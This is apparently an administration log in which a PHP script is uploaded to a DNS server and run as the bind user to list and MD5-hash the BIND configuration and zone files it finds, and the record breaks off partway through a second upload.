MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:38:57: Establishing a connection
2026-02-09 13:38:58: 

PUT: /tmp/pkp267244

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-02-09 13:38:58: 

runuser -l bind -s /bin/bash -c '/tmp/pkp267244; rm /tmp/pkp267244'

2026-02-09 13:38:58: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 14c1edeb05e4031ffc2f3b7e0fb4d902
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-09 13:39:00: Establishing a connection
2026-02-09 13:39:00: 

PUT: /tmp/pkp303172

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
